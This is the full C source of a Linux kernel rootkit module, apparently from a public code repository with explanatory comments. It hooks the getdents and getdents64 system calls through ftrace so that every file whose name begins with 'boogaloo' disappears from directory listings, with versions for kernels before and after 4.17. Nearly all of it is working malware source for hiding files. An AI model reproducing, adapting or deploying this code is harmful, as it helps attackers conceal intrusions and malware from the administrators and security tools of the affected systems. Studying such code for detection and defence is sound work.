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@Harvey Phillips Harvey Phillips on 25 Aug 2020 13 KB working on support for < 4.17
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/version.h>

#include "ftrace_helper.h"

#define PREFIX "boogaloo"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Hiding files that start with a certain prefix");
MODULE_VERSION("0.02");

/* After Kernel 4.17.0, the way that syscalls are handled changed
 * to use the pt_regs struct instead of the more familar function
 * prototype declaration. We have to check for this, and set a
 * variable for later on */
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

/* We now have to check for the PTREGS_SYSCALL_STUBS flag and
 * declare the orig_getdents64 and hook_getdents64 functions differently
 * depending on the kernel version. This is the larget barrier to
 * getting the rootkit to work on earlier kernel versions. The
 * more modern way is to use the pt_regs struct. */
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
static asmlinkage long (*orig_getdents)(const struct pt_regs *);

/* This is our hooked function for sys_getdents64 */
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
	/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
	// int fd = regs->di;
	struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
	// int count = regs->dx;

	/* We will need these intermediate structures for looping through the directory listing */
	struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
	unsigned long offset = 0;

	/* We first have to actually call the real sys_getdents64 syscall and save it so that we can
	 * examine it's contents to remove anything that is prefixed by PREFIX.
	 * We also allocate dir_entry with the same amount of memory as  */
	int ret = orig_getdents64(regs);
	dirent_ker = kzalloc(ret, GFP_KERNEL);

	if ( (ret <= 0) || (dirent_ker == NULL) )
		return ret;

	/* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
	 * dirent_ker is our copy of the returned dirent struct that we can play with */
	long error;
        error = copy_from_user(dirent_ker, dirent, ret);
	if (error)
		goto done;

	/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
	while (offset < ret)
	{
		/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
		current_dir = (void *)dirent_ker + offset;

		/* Compare current_dir->d_name to PREFIX */
		if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
		{
			/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
			if ( current_dir == dirent_ker )
			{
				ret -= current_dir->d_reclen;
				memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
				continue;
			}
			/* This is the crucial step: we add the length of the current directory to that of the 
			 * previous one. This means that when the directory structure is looped over to print/search
			 * the contents, the current directory is subsumed into that of whatever preceeds it. */
			previous_dir->d_reclen += current_dir->d_reclen;
		}
		else
		{
			/* If we end up here, then we didn't find PREFIX in current_dir->d_name 
			 * We set previous_dir to the current_dir before moving on and incrementing
			 * current_dir at the start of the loop */
			previous_dir = current_dir;
		}

		/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
		 * directory listing */
		offset += current_dir->d_reclen;
	}

	/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
	 * Note that dirent is already in the right place in memory to be referenced by the integer
	 * ret. */
	error = copy_to_user(dirent, dirent_ker, ret);
	if (error)
		goto done;

done:
	/* Clean up and return whatever is left of the directory listing to the user */
	kfree(dirent_ker);
	return ret;

}

/* This is our hook for sys_getdetdents */
asmlinkage int hook_getdents(const struct pt_regs *regs)
{
	/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
	// int fd = regs->di;
	struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
	// int count = regs->dx;

	/* We will need these intermediate structures for looping through the directory listing */
	struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
	unsigned long offset = 0;

	/* We first have to actually call the real sys_getdents syscall and save it so that we can
	 * examine it's contents to remove anything that is prefixed by PREFIX.
	 * We also allocate dir_entry with the same amount of memory as  */
	int ret = orig_getdents(regs);
	dirent_ker = kzalloc(ret, GFP_KERNEL);

	if ( (ret <= 0) || (dirent_ker == NULL) )
		return ret;

	/* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 
	 * dirent_ker is our copy of the returned dirent struct that we can play with */
	long error;
        error = copy_from_user(dirent_ker, dirent, ret);
	if (error)
		goto done;

	/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
	while (offset < ret)
	{
		/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
		current_dir = (void *)dirent_ker + offset;

		/* Compare current_dir->d_name to PREFIX */
		if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
		{
			/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
			if ( current_dir == dirent_ker )
			{
				ret -= current_dir->d_reclen;
				memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
				continue;
			}
			/* This is the crucial step: we add the length of the current directory to that of the 
			 * previous one. This means that when the directory structure is looped over to print/search
			 * the contents, the current directory is subsumed into that of whatever preceeds it. */
			previous_dir->d_reclen += current_dir->d_reclen;
		}
		else
		{
			/* If we end up here, then we didn't find PREFIX in current_dir->d_name 
			 * We set previous_dir to the current_dir before moving on and incrementing
			 * current_dir at the start of the loop */
			previous_dir = current_dir;
		}

		/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
		 * directory listing */
		offset += current_dir->d_reclen;
	}

	/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
	 * Note that dirent is already in the right place in memory to be referenced by the integer
	 * ret. */
	error = copy_to_user(dirent, dirent_ker, ret);
	if (error)
		goto done;

done:
	/* Clean up and return whatever is left of the directory listing to the user */
	kfree(dirent_ker);
	return ret;

}
#else
static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count);
static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);

static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
	/* We will need these intermediate structures for looping through the directory listing */
	struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
	unsigned long offset = 0;

	/* We first have to actually call the real sys_getdents64 syscall and save it so that we can
	 * examine it's contents to remove anything that is prefixed by PREFIX.
	 * We also allocate dir_entry with the same amount of memory as  */
	int ret = orig_getdents64(fd, dirent, count);
	dirent_ker = kzalloc(ret, GFP_KERNEL);

	if ( (ret <= 0) || (dirent_ker == NULL) )
		return ret;

	/* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
	 * dirent_ker is our copy of the returned dirent struct that we can play with */
	long error;
        error = copy_from_user(dirent_ker, dirent, ret);
	if (error)
		goto done;

	/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
	while (offset < ret)
	{
		/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
		current_dir = (void *)dirent_ker + offset;

		/* Compare current_dir->d_name to PREFIX */
		if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
		{
			/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
			if ( current_dir == dirent_ker )
			{
				ret -= current_dir->d_reclen;
				memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
				continue;
			}
			/* This is the crucial step: we add the length of the current directory to that of the 
			 * previous one. This means that when the directory structure is looped over to print/search
			 * the contents, the current directory is subsumed into that of whatever preceeds it. */
			previous_dir->d_reclen += current_dir->d_reclen;
		}
		else
		{
			/* If we end up here, then we didn't find PREFIX in current_dir->d_name 
			 * We set previous_dir to the current_dir before moving on and incrementing
			 * current_dir at the start of the loop */
			previous_dir = current_dir;
		}

		/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
		 * directory listing */
		offset += current_dir->d_reclen;
	}

	/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
	 * Note that dirent is already in the right place in memory to be referenced by the integer
	 * ret. */
	error = copy_to_user(dirent, dirent_ker, ret);
	if (error)
		goto done;

done:
	/* Clean up and return whatever is left of the directory listing to the user */
	kfree(dirent_ker);
	return ret;
}

static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count)
{
	/* We will need these intermediate structures for looping through the directory listing */
	struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
	unsigned long offset = 0;

	/* We first have to actually call the real sys_getdents syscall and save it so that we can
	 * examine it's contents to remove anything that is prefixed by PREFIX.
	 * We also allocate dir_entry with the same amount of memory as  */
	int ret = orig_getdents(fd, dirent, count);
	dirent_ker = kzalloc(ret, GFP_KERNEL);

	if ( (ret <= 0) || (dirent_ker == NULL) )
		return ret;

	/* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 
	 * dirent_ker is our copy of the returned dirent struct that we can play with */
	long error;
        error = copy_from_user(dirent_ker, dirent, ret);
	if (error)
		goto done;

	/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
	while (offset < ret)
	{
		/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
		current_dir = (void *)dirent_ker + offset;

		/* Compare current_dir->d_name to PREFIX */
		if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
		{
			/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
			if ( current_dir == dirent_ker )
			{
				ret -= current_dir->d_reclen;
				memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
				continue;
			}
			/* This is the crucial step: we add the length of the current directory to that of the 
			 * previous one. This means that when the directory structure is looped over to print/search
			 * the contents, the current directory is subsumed into that of whatever preceeds it. */
			previous_dir->d_reclen += current_dir->d_reclen;
		}
		else
		{
			/* If we end up here, then we didn't find PREFIX in current_dir->d_name 
			 * We set previous_dir to the current_dir before moving on and incrementing
			 * current_dir at the start of the loop */
			previous_dir = current_dir;
		}

		/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
		 * directory listing */
		offset += current_dir->d_reclen;
	}

	/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
	 * Note that dirent is already in the right place in memory to be referenced by the integer
	 * ret. */
	error = copy_to_user(dirent, dirent_ker, ret);
	if (error)
		goto done;

done:
	/* Clean up and return whatever is left of the directory listing to the user */
	kfree(dirent_ker);
	return ret;
}
#endif

/* Declare the struct that ftrace needs to hook the syscall */
static struct ftrace_hook hooks[] = {
	HOOK("sys_getdents64", hook_getdents64, &orig_getdents64),
	HOOK("sys_getdents", hook_getdents, &orig_getdents),
};

/* Module initialization function */
static int __init rootkit_init(void)
{
	/* Hook the syscall and print to the kernel buffer */
	int err;
	err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
	if(err)
		return err;

	printk(KERN_INFO "rootkit: Loaded >:-)\n");

	return 0;
}

static void __exit rootkit_exit(void)
{
	/* Unhook and restore the syscall and print to the kernel buffer */
	fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
	printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);